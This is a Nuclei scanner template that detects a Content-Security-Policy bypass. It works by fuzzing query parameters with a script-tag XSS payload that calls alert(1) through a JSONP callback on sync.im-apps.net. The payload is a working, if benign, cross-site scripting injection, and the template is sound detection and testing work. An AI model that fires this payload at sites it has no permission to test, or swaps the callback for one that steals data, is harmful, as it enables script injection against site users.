id: im-apps-sync-csp-bypass

info:
  name: Content-Security-Policy Bypass - IM Apps Sync
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,im-apps-sync,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "im-apps.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: im_apps_sync_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://sync.im-apps.net/imid/segment?callback=alert(1)&token=VXoW9wEaCAYxiIkb8Mzm7Q"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "im_apps_sync_csp_xss == true"
# digest: 4a0a00473045022100ec250ece757092b7c8388572640fbf7f143c40017ea693e144448a4209427cab02204f71f2931c0ff7b90da512af3d979f2e6c673f63acab7943a206df699117b70c:922c64590222798bb761d5b6d8e72950